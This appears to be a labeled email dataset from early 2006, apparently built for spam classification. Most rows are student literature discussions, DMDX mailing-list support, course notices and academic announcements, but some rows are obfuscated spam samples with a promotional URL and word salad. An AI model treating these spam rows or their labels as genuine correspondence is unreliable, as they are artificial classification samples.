that the only character who really has the strongest grasp on reality is Paul D. He's the one smart enough to realize it's time to go when some strange girl forces you to touch her on the inside part, and the woman you're shacking up with killed one of her kids and made the other two run away. Taylor L ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 25 Jan 2006 14:59:45 -0700",[DMDX] DMDX 3.1.4.2,"With version 3.1.4.2 of DMDX the keyword as been expanded to handle the numeric keypad. The keypad keys will have to be specifically validated with however. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Big Al's Law: A flying particle will seek the nearest eye.",0,0 Chris Rossbach ,cs395t-mark@cs.utexas.edu,"Wed, 25 Jan 2006 16:02:31 -0600","PAPER for 1/26/06: Architectural Optimizations for Low-Power, Real-Time Speech Recognition","http://www.eecs.umich.edu/%7Etaustin/papers/CASES03-speech.pdf Greetings All- My ambitions were to send out this brief missive/reminder a bit earlier, which I think would have been more in line with the proper procedure. Hopefully my shortcomings in this regard will not set a precedent. Nonetheless, below are some questions to consider, in no particular order. If I am not mistaken, the questions are just food for thought: your answers, should you choose to actually write them down, will be neither collected nor graded: * Consider the sensitivity of recognition performance and total energy consumption to initial partitioning of data/knowledge base. The claim is that a partitioning has been chosen that maximizes load balancing, minimizes scheduling logic complexity, maximizes PE utilization. So initial state seems to matter, but later load-balancing and software-based migration are shown to have non-trivial effect. Is there tension between these claims? * The paper claims that PE's not exposing ILP results in 15% savings on scheduling and issue logic. What other tradeoffs are at work here, and why does this design decision make sense? In general, total energy savings are gained in this work by using more power for a shorter time. Is the pipeline architecture chosen for the PE's an obvious choice under these assumptions? * No cache coherence protocols are used between PEs in this work. What assumptions are made that allow this? What is gained and lost by this decision? * What are the constraints imposed on the programming model by this architecture? Are they realistic/acceptable? * THREAD-SPAWN instruction models a function call and can be converted dynamically to a function call. When might such a conversion be handy or necessary? How general is this mechanism? * In the speech co-processor PEs, newly spawned threads may not execute if their UID matches the UID of a currently executing thread. Why is this necessary? Are there important tradeoffs associated with this decision? Finally, following the precedent of posing extra credit questions in a context where no credit was ever really at stake: EXTRA CREDIT: * How many 3-D graphs are in this paper? Would more be better? Cheers, Chris ",0,1 ,beloved1@madeiracityschools.org,"Wed, 25 Jan 2006 13:07:25 -0800",Response to Kara," I never really thought of it that way, but that seems to be a logical reason for Sethe keeping Beloved around. At the funeral no one would eat Sethe’s food and Sethe forbid Denver from eating anyone else’s food, and Sethe said that she used to be too prideful to ask for a ride home from work and would refuse rides from anyone that offered. This makes it seem as if Sethe dislikes the rest of the community and therefore it seems odd that she would let someone she didn’t know stay for so long. Sethe does seem to have trouble talking about the past to Denver though, which frustrates Denver even more, and Beloved seems to have a way of connecting the two, of getting Sethe to answer the questions with Denver listening to the stories. Sethe seems very hesitant to move on, but since Beloved has come and Sethe knows (thinks?) that she is her child it brings her comfort knowing that her child has returned to her without malicious intentions, and knowing she feels as if she can move on and forget the past. She can “forget it all now,” knowing that if Beloved was mad at her, “you ain’t now because you came back here to me” (184). If Beloved is the murdered child and Sethe could have subconsciously noticed when Beloved arrived (when it seemed like her water broke again, etc.) then it would make sense as to why Sethe let Beloved stay when she seemed to dislike the rest of the community as she did. Angelae Erion --------------------------------- Do you Yahoo!? With a free 1 GB, there's more in store with Yahoo! Mail.",0,0 vmayer@uoregon.edu,vmayer@uoregon.edu,"Wed, 25 Jan 2006 16:32:34 -0800",Resubmission,I made a few changes to the first assigment of the four slide assignment. I made a 2nd reply to my first message. Hope this is right. Thanks,0,0 ,Beloved1@madeiracityschools.org,"Wed, 25 Jan 2006 17:52:23 -0800",Beloved Reponse to Angelae and myself as well (number 2),"In response to Angelae's 2nd response and my first one as well... Though it seems that Sethe is trying to shut out the rest of the community, she does not take such an unwelcome tone when Beloved first appears, and this was before she realized who she actually was. So my take on this is that she knew subconsciously, somehow, who Beloved was because Beloved has this sort of suconcious power over people. She gives the impression of innocence, curiosity, and ability to love and neediness. When Sethe realizes that Beloved is who she is, she is relieved almost because it shows her ability as a mother has not gone completely stale. One would think that their family is tied together once again when Sethe comes to the realization of who Beloved actually is. One may assume that she can take her past and ""forget it all now"" just has Angelae has written, but I think we are all still wondering how Sethe is going to handle and resolve Denver's resistancy to trust Sethe and feel secure in their connection with all three of each other. I want to know what is going to be the event that brings Denvers back into that connection of trust and love so that there is not a kink in that three-person chain. Now, instead of Beloved being the one that needs to be rescued and resurrected, it's Denver. Also, I'd like to know where Paul D will stand on this connection and whethere he is going to occupy a fourth spot on that chain. Kara Swami. __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com ",0,1 """Cluing H. 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",1,1 Carolina ,terrence@smtp.uoregon.edu,"Thu, 26 Jan 2006 00:15:17 -0500",wrinkles worrying you?,"or perch , aileen ! cometary it sardonic it's drub ",1,0 ,,,,"MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=""----=_NextPart_5.94725668430328E-02"" Message-Id: <20060126105640.D469B214E01@admiii.arl.army.mil> Date: Thu, 26 Jan 2006 05:56:40 -0500 (EST) X-ARL-MailScanner-Information: Please contact the helpdesk for more information X-ARL-MailScanner: Found to be infected X-ARL-MailScanner-SpamCheck: not spam, SpamAssassin (score=2.771, required 5, BAYES_60 1.00, MICROSOFT_EXECUTABLE 0.10, MIME_BOUND_NEXTPART 0.28, MSGID_FROM_MTA_ID 1.39) X-ARL-MailScanner-SpamScore: ss X-ARL-MailScanner-From: ptownson@telecom-digest.org This is a multi-part message in MIME format. ------=_NextPart_5.94725668430328E-02 Content-Type: text/plain; format=flowed Warning: This message has had one or more attachments removed Warning: (eBook.PIF). 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Warning: This message has had one or more attachments removed Warning: (Original Message.B64). What? ----- End of forwarded messages [TELECOM Digest Editor's Note: Well, Carl, please wake up so I can welcome you to Real World. Now you have seen why I believe the so-prevalent idea of using email filters (as opposed to a much more agressive approach of 'hunt them down, torture and kill them') is such a dismal failure. Why is email filtering such a failure, with its 'white lists', 'black lists', 'grey lists', search for certain words/phrases, IP addresses, and other gyrations? Well, aside from the fact we should not have to go to that effort just to send/get a piece of email, the smart-mouths around here tell us that (1) we have no right to take a more aggresive stance with the cretins who have essentially ruined email for all of us, and (2) the cretins may 'get even' by suing us for denial (of their) service, and (3) most of us are brain-diseased idiots with our tin foil hats and how would we know we had chosen the right person to experience our wrath; we couldn't possibly know anything about anything since 'knowing anything' is a monopoly exclusive to themselves, and (4)[one of my favorites] as the nitwit said to me one day here, ""Oh, we have no right to tell others what they can and cannot do with their sites"". My isn't that _so precious_. To my response, he wrote back and ordered me to NEVER SPEAK TO HIM AGAIN!! and I have not, but he occassionally writes me again here and pops off his mouth each time he overflows. So he, and his ilk will continue to struggle along, filtering their mail while I and my ilk will continue to (as time permits, there being so much of it to spend our time on) continue to forward the most choice and juiciest bits of spam each day to trained investigators who will correctly identify the spammers and viri writers _on a one for one basis_ telling them to LEAVE US ALONE, and allowing the investigators to act as our agents in making these statements to the offenders. You see, Carl, you cannot filter based on name or IP address; they have gotten so smart they use _our real names and email addresses_ to send us their stuff ... although 'ptownson@telecom-digest.org' is not exactly how I send legitimate mail out from here but please do not tell them how my stuff is _really addressed_ least they start using that instead. You cannot filter on the basis of message content, because sometimes I may want to write a legitimate message which contains some of the words or phrases which otherwise would trip the filters. And although there is much to be said about 'freedom of speech' and the 'bill of rights' and a search engine avoiding anything which offends the sensibilties of the Chinese government, somehow I do not feel that the internet cesspool full of spam and viri is exactly what our founders had in mind when we are warned that 'we must not dictate to other sites what they can/cannot do on the net', despite what the modern day Usenetter would have us believe. _They_ would tell us that when we walk through the commons we have to watch where we step to avoid getting 'that stuff' on our shoes. I keep asking WHY, their response is only to tell me about my tin-foil hat, etc. PAT] ------------------------------ TELECOM Digest is an electronic journal devoted mostly to telecomm- unications topics. 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Bill ",0,0 US-CERT Security Bulletins ,security-bulletins@us-cert.gov,"Thu, 26 Jan 2006 16:03:03 -0500","US-CERT Cyber Security Bulletin SB06-026 -- Summary of Security Items from January 19 through January 25, 2006 ","-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Summary of Security Items from January 19 through January 25, 2006 This bulletin provides a summary of new or updated vulnerabilities, exploits, trends, viruses, and trojans from January 19 through January 25, 2006, and is available here: For instructions on subscribing to or unsubscribing from this mailing list, visit . -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBQ9k4Zn0pj593lg50AQJQQgf/VESY+urXZ8eXabd//gvoN8WMjzDFe++Y Wt9aFRgYdnGain6u3Ww7IiG1wsXqQKSGq7fOM2n3M/r1I68L5XHl4xu+UOTSB/L1 vUmlFfP2UMm02zw5t2Zxj67GDhYVRu7xEug22H90t1pnxrnBD+iWmnUheJThAFk6 JjebgP58RlLmKmdviewxultzd5gpcR4+WTUN0CTlpoVa80B9nnKpOfcWMS0M/KqU USoZBxcIJSvZvlgpLAsG/5i8o9+r2y+t8ba2AiPO0NStS2XBaeheaspxnuoOPoHX c/tgiPBFNKr1rn8SaQBKow2gnx3s392GcZpDLSAx7BJt/b7ONCbuHA== =qmf9 -----END PGP SIGNATURE-----",0,1 Allison Jones ,vmayer@uoregon.edu,"Thu, 26 Jan 2006 16:13:41 -0800",Re: Resubmission,"I will correct it this evening and then give you feedback again Allison On Jan 25, 2006, at 4:32 PM, vmayer@uoregon.edu wrote: > I made a few changes to the first assigment of the four slide > assignment. I made a 2nd reply to my first message. Hope this is > right. Thanks ",0,0 cshen@uoregon.edu,cshen@uoregon.edu,"Thu, 26 Jan 2006 17:12:16 -0800",Psy201: submit your RER,"Hello, Due to some technical issues, we need you to submit your RER I again on the blackboard if you had submitted it already. Please go to RER assignment, and submit the same one that you submitted (if you did already) at ""RER I"". The deadline for it is midnight, Jan 30. Thanks! 201 RER graders ",0,0 """alpha@hertz.com"" ",jim-henry@utc.edu,"Thu, 26 Jan 2006 16:38:53 -0600",Your Hertz Reservation,"Thank you for choosing Hertz. Your Hertz confirmation Number is:D1754173687 If you wish to modify or cancel your reservation, please go to hertz.com and select ""Get a Quote ... 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I check all of them but they were all the same minus the minor change on the last one. Let me know! ",0,0 Christin Ronolder ,VRA_NE@WHEATONMA.EDU,"Fri, 27 Jan 2006 14:30:35 -0500",Fwd: Baltimore!,"Hello All, Just wanted to bring this to the Chapter list serve for ease of reply and discussion. Sorry if this is repeat information for some but others did not get the any of these communications. Keep those ideas for VRAffle baskets coming! The Tansey Bowl will be a fun and interesting way to showcase our young Chapter. I know of some chapters that will have two teams! FYI - Chapter Membership renewals and election ballots should be arriving in your mail boxes shortly. Have a great weekend! Christin > > >Hi Elisa, > >I know that Melody is not in on Fridays...so I thought I'd jump in. >We are contributing to the conference as a chapter. At our last >business meeting in the Fall we voted on the amount of $50. > >What Melody is heading up is separate from that. I like your idea >bout the New England Chowder team! Do we want to have matching >shirts? > >A donation to the VRAffle as a chapter would also be a fun way to >support the Tansey Education Fund. Any thoughts on a theme for that? > >At 11:00 AM -0500 1/27/06, Elisa Lanzi wrote: >>HI Melody, >>Sign me up for the New England Chowder team. Do we want to do a >>basket or should we contribute money to the conference? Sorry if I >>may be behind on this information. >>Best, >>Elisa >> >> >>Elisa Lanzi >>Director, Imaging Center >>Smith College Dept. of Art >>Hillyer Hall >>Northampton, MA 01063 >>VOICE: 413.585.3106 >>FAX: 413.585.3119 >>elanzi@email.smith.edu >> >>Cataloguing Cultural Objects (CCO) Project >>http://www.vraweb.org/CCOweb/index.html >> >>>>> ""Melody Ennis"" 01/26/06 10:21 AM >>> >>Hey New England! >> >>Is Baltimore ready for us? Let's do out part for both the Raffle >>and the Tansey Bowl! >> >>Who is game for a bowling team? Those of us in the RI area already >>know all about that kind of bowling; think we will have an >>advantage? >> >>What shall we do for the Raffle this year? Guess we can't crow >>about being Super Bowl champs..... >> >>Let me know your thoughts; this will be fun! >> >>Melody >> >> >>Melody Ennis >>Coordinator of Photographic Services >>(401) 454-6535 (phone) >>(401) 454-6556 (fax) >>mennis@risd.edu > > >-- > > > ))) Christin E. Ronolder >((( Curator of Visual Resources > ))) Library and Information Services >((( Wheaton College > ))) Norton, MA 02766 >((( Ronolder_Christin@wheatonma.edu -- ))) Christin E. Ronolder ((( Curator of Visual Resources ))) Library and Information Services ((( Wheaton College ))) Norton, MA 02766 ((( Ronolder_Christin@wheatonma.edu",0,1 Jeff Diamond ,cs395t-mark@cs.utexas.edu,"Fri, 27 Jan 2006 16:31:33 -0600",[CS395T] I updated the presentation,"I updated the presentation to include the derivation of power increasing at the cube of frequency. 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Because Columbia's planning process is moving so quickly, this semester a critically important one -- and your organization's involvement is key. We hope you will consider being part of the Coalition by sending a liaison to our Representative Board. The Rep Board meets once a month -- the first meeting of the semester will be Sunday, February 5 at 7:00pm in Kent 424. At the meetings, Rep Board members will get updated on Columbia's expansion, community response and what students are doing. We also hope that SCEG can work with your group to co-sponsor at least one activity directly related to both the mission of your group and to the expansion. Please let us know by by the end of this week, 1) whether your group might be interested in participating in the coalition and assigning a liaison to the Rep Board and 2) whether you would like a member of SCEG to come to one of your group's meetings to talk more about what's up with expansion and what involvement in the Coalition would entail. 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If you would like to resubmit, this must be done by Monday, February 13th. Don't forget to e-mail me once you have resubmitted as a reply to you old PPT. Thanks Allison",0,0 ,Beloved2@madeiracityschools.org,"Mon, 30 Jan 2006 00:47:40 -0800",Rachel's Response #3,"So, at 3:00 this morning, after being way, way behind on my reading, I finally finished Beloved. And, I am proud to say, I never Sparknoted a single thing. 8-) I kept hoping Toni would answer some of the questions she raised, but she didn't. I'm still confused as to what Beloved was--a ghost? Something else? Why exactly did she run? What were the women singing/chanting? And, why naked? I'm not just saying that out of some immature giggling, I'm honestly interested. Considering she showed up in brand new shoes and a brand new dress, and Sethe made a big deal out of making the three women new clothes in ""carnival colors,"" the fact that she ran off naked seemed odd. Was is part of the whole rebirth idea? Also, is this why Beloved was described as ""pregnant"" and Sethe as ""a little girl""? Is this like Paul D coming back in the reverse path of how he had left? Like the shift from past to present tenses? Come to think of it, there are many parts of the end that were somehow completions in a cycle, rotation and reversals in some way. I did kind of like that Sethe tried to reverse what had happened when schoolteacher had come the first time, by this time attacking before he could enter her yard (even though it wasn't schoolteacher, but Mr. Bodwin, there was something cyclic about the act that i liked. I also liked the fact that the first door Denver knocked on for help was Lady Jones, for the same reason--I like it when things end where there started...) Also, I'm still not sure a) Why Paul D came to 124; b) why he left; or c) why he came back. I wish I enjoyed this book more than I did. I really respect Toni Morrison as a person and as a writer, and I think she really had a message in this book. I hate that this message was largely lost on me in the confusions and twists of the book. Anyone agree? -Rachel Carman --------------------------------- Bring words and photos together (easily) with PhotoMail - it's free and works with Yahoo! Mail.",0,0 """R. Baker"" ",DMDX@psy1.psych.arizona.edu,"Mon, 30 Jan 2006 13:03:41 +0000",[DMDX] typed responses still not working,"Hi again, Thanks for your advice regarding the sound files and reponses (Reply to my orginal email is below). I made the changes you suggested to my script re. multiple typed responses (see script below) but DMDX is still not registering any response. I tried running the script on a different computer with DMDX in case it was my laptop at fault, but the zil file still shows no response. Any other ideas at what might be the cause of my problem would be greatly appreaciated! Thanks, Rachel Script: 0 ""Press SPACEBAR to start""/; ^1 ""stimuli3.d.wav"" / * ""What did you hear?"" /; ^7 ""stimuli4.d.wav"" / * ""What did you hear?"" /; ^3 ""stimuli5.d.wav"" / * ""What did you hear?"" /; ^13 ""stimuli6.d.wav"" / * ""What did you hear?"" /; 0 ""The END! Thank you for taking part.""; On Jan 24 2006, Jonathan C. Forster wrote: >At 05:28 PM 1/24/2006 +0000, you wrote: >> I want to use DMDX to present some speech and record a typed response >> (participants type the sentence they hear). I have two questions >> regarding this. >> >> First, is it possible for DMDX to play a sound file and record responses >> at a number of points throughout the file? I have 35 sentences playing >> in continuous noise and ideally, I would like the participants to type >> in what they hear after each sentence without having to split the file >> into smaller files. Would the sound file need to be marked to tell DMDX >> when to record a response? > > It would have to be recording responses continuously or you will have > to break the audio into sections. You could put markers in the file and > tell DMDX to play between the markers but that's as much work as breaking > it into sections. > > >>Secondly, I can't seem to get DMDX to record a typed response. My script >>which plays 4 wav files is below. It runs fine but the output file is >>always blank. > > The square brackets are probably breaking things in your , > is what you want. Not that you'll be able to gather 200 >character strings as they won't fit on the screen. If you suppress >feedback with it will work. > > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > >Big Al's Law: A flying particle will seek the nearest eye. > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== > -- -------------------------------------------------------------------------- PhD student Dept of Linguistics Sidgwick Avenue University of Cambridge Cambridge --------------------------------------------------------------------------",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 30 Jan 2006 08:45:18 -0700",[DMDX] Re: typed responses still not working,"You will have to provide us with the diagnostics.txt output so we can get an idea of what's happening rather than blindly guessing. Of course it could be your use of ^ which indicates that no response is correct and perhaps DMDX is just throwing it all away. At 01:03 PM 1/30/2006 +0000, you wrote: >Hi again, > >Thanks for your advice regarding the sound files and reponses (Reply to my >orginal email is below). I made the changes you suggested to my script re. >multiple typed responses (see script below) but DMDX is still not >registering any response. I tried running the script on a different >computer with DMDX in case it was my laptop at fault, but the zil file >still shows no response. Any other ideas at what might be the cause of my >problem would be greatly appreaciated! > >Thanks, > >Rachel > > > >Script: > > > > >0 ""Press SPACEBAR to start""/; >^1 ""stimuli3.d.wav"" / * ""What did you hear?"" /; >^7 ""stimuli4.d.wav"" / * ""What did you hear?"" /; >^3 ""stimuli5.d.wav"" / * ""What did you hear?"" /; >^13 ""stimuli6.d.wav"" / * ""What did you hear?"" /; >0 ""The END! Thank you for taking part.""; > > > > >On Jan 24 2006, Jonathan C. Forster wrote: > >>At 05:28 PM 1/24/2006 +0000, you wrote: >>>I want to use DMDX to present some speech and record a typed response >>>(participants type the sentence they hear). I have two questions >>>regarding this. >>> >>>First, is it possible for DMDX to play a sound file and record responses >>>at a number of points throughout the file? I have 35 sentences playing >>>in continuous noise and ideally, I would like the participants to type >>>in what they hear after each sentence without having to split the file >>>into smaller files. Would the sound file need to be marked to tell DMDX >>>when to record a response? >> >> It would have to be recording responses continuously or you will have >> to break the audio into sections. You could put markers in the file and >> tell DMDX to play between the markers but that's as much work as >> breaking it into sections. >> >> >>>Secondly, I can't seem to get DMDX to record a typed response. My script >>>which plays 4 wav files is below. It runs fine but the output file is >>>always blank. >> >> The square brackets are probably breaking things in your , >> is what you want. Not that you'll be able to gather 200 >> character strings as they won't fit on the screen. If you suppress >> feedback with it will work. >> >> >> /""\\ >> -jonathan (j.c.f.) \\ / >> X >> ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ >> >>Big Al's Law: A flying particle will seek the nearest eye. >> >> >>==================================================================== >> Send mail to DMDX-request@psy1.psych.arizona.edu with the word >> 'unsubscribe' by itself with no quotes in the body of the email >> to be removed from the list. The list archive is available here: >> http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >>==================================================================== > >-- >-------------------------------------------------------------------------- >PhD student >Dept of Linguistics >Sidgwick Avenue >University of Cambridge >Cambridge >-------------------------------------------------------------------------- > > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ America was discovered by Amerigo Vespucci and was named after him, until people got tired of living in a place called ""Vespuccia"" and changed its name to ""America"". - Mike Harding, ""The Armchair Anarchist's Almanac""",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 30 Jan 2006 08:46:49 -0700",[DMDX] DMDX 3.1.4.2 (again),"Turns out I screwed up the 3.1.4.2 release and all it had in it was the 3.1.4.1 code so anyone that wants 3.1.4.2 should try downloading it again. Date: Wed, 25 Jan 2006 14:59:45 -0700 From: ""Jonathan C. Forster"" Subject: [DMDX] DMDX 3.1.4.2 With version 3.1.4.2 of DMDX the keyword as been expanded to handle the numeric keypad. The keypad keys will have to be specifically validated with however. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ America was discovered by Amerigo Vespucci and was named after him, until people got tired of living in a place called ""Vespuccia"" and changed its name to ""America"". - Mike Harding, ""The Armchair Anarchist's Almanac""",0,0 """R. Baker"" ",DMDX@psy1.psych.arizona.edu,"Mon, 30 Jan 2006 15:54:39 +0000",[DMDX] Re: typed responses still not working,"It's ok, I finally figured out the problem. I had thought that not only presented the visual stimuli at the beginning of the wav file but that it also recorded responses from the onset of the wav file. So, I was typing in reponses while the file was playing not at the end when it was actually waiting for a reponse! ^1 ""stimuli3.d.wav"" / * ""What did you hear?"" /; Thanks, Rachel",0,0 msereno@uoregon.edu,msereno@uoregon.edu,"Mon, 30 Jan 2006 11:41:13 -0800",exam #1 results,"Hi everyone, Your exam scores are posted on blackboard (# points out of 35 total points). I’ve also posted grade cutoffs for exam #1 (go to the folder labeled “Exam Results”). Your first RER assignment is due tonight at midnight. If you do not make this deadline, you can still complete the 2nd and 3rd RER for full credit. See you tomorrow! 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When: Tuesday January 31, 2006 Time: 8pm Where: St Paul's Chapel Columbia University Main Campus 116th Street & Broadway The Ebony Ecumenical Ensemble The Ensemble has captivated audiences throughout New York, New Jersey, and Connecticut as well as the other parts of the country. The Ensemble has also performed at New York, Carnegie Hall for the Korean sacred choral festival in 1997 and at Lincoln Center in 1999 and 2000 for its 20th and 21st anniversaries. The Ensemble earned international acclaim for its performances for the 46th anniversary of South Korea's Christian Broadcast system in 2000 and in Sao Paulo and Rio de Janerio, Brazil as part of the 1986 and 1988 International Black Arts Festivals. They also Performed at The Toys'R Us Special Children's Benefit Concert, and for former South African President Nelson Mandela on his first trip to the United States in 1984. The Ensemble made its debut appearance in the Emmy-nominated ""Live from Lincoln Center"" excerpts from Porgy and Bess with the New York Philharmonic. ",0,0 Joao Verissimo ,DMDX Mailing List ,"Mon, 30 Jan 2006 19:41:50 +0000",[DMDX] Error in awk script,"Hello, all. This is not about DMDX itself, but about Matt Davis' script to convert .azk into .txt I'm not able to make it work, because it gives me the following error: gawk: ./getdat.awk:17: ' in expressionawk:17: ^ invalid char ' Has anyone tried this script, and did it work? Thank you. João ",0,0 Joao Verissimo ,DMDX Mailing List ,"Mon, 30 Jan 2006 19:44:54 +0000",[DMDX] Timeout and frame delay,"Hello everyone. DMDX is reporting errors in the .azk file. In particular, a frame that contains an asterisk (before the presentation of an item in a masked priming experiment) is systematically delayed after a response timeout, or a response time that is close to the timeout. It doesn't bother me much (or at all), because there are never errors in the amount of time the prime and the target stay on the screen. I was just wondering if it is normal, and about how I could solve it. Thank you, João ",0,0 Mario Fific ,DMDX@psy1.psych.arizona.edu,"Mon, 30 Jan 2006 15:18:24 -0500",[DMDX] Re: Timeout and frame delay,"Hi João, You could add some short delay before an asterisk. The duration should depend on disappearance of the error message. Mario >Hello everyone. > >DMDX is reporting errors in the .azk file. In particular, a frame that >contains an asterisk (before the presentation of an item in a masked >priming experiment) is systematically delayed after a response timeout, >or a response time that is close to the timeout. > >It doesn't bother me much (or at all), because there are never errors in >the amount of time the prime and the target stay on the screen. > >I was just wondering if it is normal, and about how I could solve it. > >Thank you, > >João >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== > > -- Mario Fific, Ph.D. Cognitive Psychology and Cognitive Science Indiana University 1101 E. 10th St. Bloomington, IN 47405-7007 E-mail: mfific@indiana.edu Phone: 812-855-1554 ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 30 Jan 2006 13:19:19 -0700",[DMDX] Re: Timeout and frame delay," You probably have a delay parameter that is unrealistically low. Timing considerations are covered in several locations in the help files. At 07:44 PM 1/30/2006 +0000, you wrote: >Hello everyone. > >DMDX is reporting errors in the .azk file. In particular, a frame that >contains an asterisk (before the presentation of an item in a masked >priming experiment) is systematically delayed after a response timeout, >or a response time that is close to the timeout. > >It doesn't bother me much (or at all), because there are never errors in >the amount of time the prime and the target stay on the screen. > >I was just wondering if it is normal, and about how I could solve it. > >Thank you, > >João >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ America was discovered by Amerigo Vespucci and was named after him, until people got tired of living in a place called ""Vespuccia"" and changed its name to ""America"". - Mike Harding, ""The Armchair Anarchist's Almanac"" ",0,1 msereno@uoregon.edu,msereno@uoregon.edu,"Mon, 30 Jan 2006 14:14:24 -0800",exam #1,"Hi everyone, Go to ""Student Tools"" then click on ""mygrades"" to find your score (which is the number right out of 35 points). best, MS",0,0 Nita Biro ,cs530@merlot.usc.edu,"Mon, 30 Jan 2006 07:35:01 -0700",Re: good AMiBtEN,"Hi, V k A e L g I c U a M c X b A a N t A r X n C z I x A n L e I f S h V k I m A d G p R q A m http://www.utometre.com wellheele misappropriat checke physiocra fishwif time for a brief rest and food; energy to be restored, the lessons of Jason Bourne. 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Thanks Jerome Fortin Experimental and numerical modelling of CO2 - cement interactions: Application to casing cementation of CO2 injection wells Appointment: 2 years Required background: a doctoral degree in mechanics with a speciality in micro-mechanics of rocks Work to be conducted - Experiments on the behaviour of cements used in the injection wells within CO2 storage reservoirs in geological formations. - Characterisation of physical properties (permeability, porosity, mechanical properties) of the materials after and during experiment. - Modelling the chemical and mechanical couplings taking place during the alteration of the minerals by the fluids. - Setting up a model for the long-term evolution of the material properties in geological conditions of CO2 storage. The candidate must have a solid experience in the methodology for the observation and the characterisation of the mechanical properties of heterogeneous materials. He should also have a good background in numerical methods applied to micro-scale problems. Knowledge of physical and thermochemical properties of minerals is highly desirable. The candidate should be able to work interactively in a team of geologists, petrologists, mineralogists, thermochemists and rock mechanicians. He should also be able to collaborate closely with partners in an industrial research laboratory (Schlumberger, Clamart, France). An international experience at the post-doctoral level is required. Contact person: Prof. Bruno GOFFE (bruno.goffe@ens.fr), Dr Jerome Fortin (fortin@geologie.ens.fr) http://www.geologie.ens.fr/~brunet/postdoc-ANR/ Application procedure: The applicant should send his curriculum vitae to the contact person (research experience, publications, abstracts, invited conference, PhD thesis …). Deadline: The positions will remain open until filled. Jérôme Fortin Laboratoire de Géologie Ecole Normale Supérieure 24 rue Lhomond 75005 Paris France E-mail: fortin@geologie.ens.fr web page: www.geologie.ens.fr/~fortin/cvfortin.html Phone: (33) 1 44 32 22 09 Fax: (33) 1 44 32 20 00 ",0,1 Joao Verissimo ,DMDX@psy1.psych.arizona.edu,"Tue, 31 Jan 2006 00:00:04 +0000",[DMDX] Re: Timeout and frame delay,"Thank you for your answers. Yes, at other points I was getting the same error, and I fixed it by adding a delay of 6 frames. However, in this ""asterisk situation"", the delay is 29 frames (500 ms, if we count the previous frame), and I still get the error. I wouldn't like to increase the delay, and it only happens after a (near-)timeout. So, because it is indeed 500ms for most of the trials, I guess I'll just stick to it. Thank you, João j.c.f. wrote: > > You probably have a delay parameter that is unrealistically low. Timing > considerations are covered in several locations in the help files. > > At 07:44 PM 1/30/2006 +0000, you wrote: > >> Hello everyone. >> >> DMDX is reporting errors in the .azk file. In particular, a frame that >> contains an asterisk (before the presentation of an item in a masked >> priming experiment) is systematically delayed after a response timeout, >> or a response time that is close to the timeout. >> >> It doesn't bother me much (or at all), because there are never errors in >> the amount of time the prime and the target stay on the screen. >> >> I was just wondering if it is normal, and about how I could solve it. >> >> Thank you, >> >> João >> ==================================================================== >> Send mail to DMDX-request@psy1.psych.arizona.edu with the word >> 'unsubscribe' by itself with no quotes in the body of the email >> to be removed from the list. The list archive is available here: >> http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >> ==================================================================== > > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > America was discovered by Amerigo Vespucci and was named after him, > until people got tired of living in a place called ""Vespuccia"" and > changed its name to ""America"". > > - Mike Harding, ""The Armchair Anarchist's Almanac"" > > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > ",0,1 Ian Kash ,egs+summary,"Mon, 30 Jan 2006 17:57:30 -0500",Paper 2,"Chord uses a ring structure like the Pastry ring and implements lookups on it in log n hops. Each node stores a set of pointers where the ith is to the first node at least 2^{i-1} around the ring. The target node can then be found in a logarithmic number of steps by following the ""longest"" finger less than the key. This is similar to Pastry with b=2 (i.e. travelling halfway around involves flipping the first bit in binary). Since the definition is more restrictive, it loses the ability of Pastry to choose any eligible node based on locality and to use other bases to reduce the number of hops. Since Chord always transfers messages forwards, it loses the ability of Pastry to overshoot which may lead to a shorter path. However, Chord gains in simplicity of the finger table. It is much simpler to maintain than the Pastry routing table and thus the resulting network degrades more gracefully in the face of churn. The routing method for Tapestry is essentially the same as that of Pastry, however there are several important design differences for other portions of the system that result in improved robustness. Costly deletion operations are avoided by marking nodes invalid but not actually removing them for a period of time to give them a chance to recover. While Pastry stores all the copies of an object in a single neighborhood, 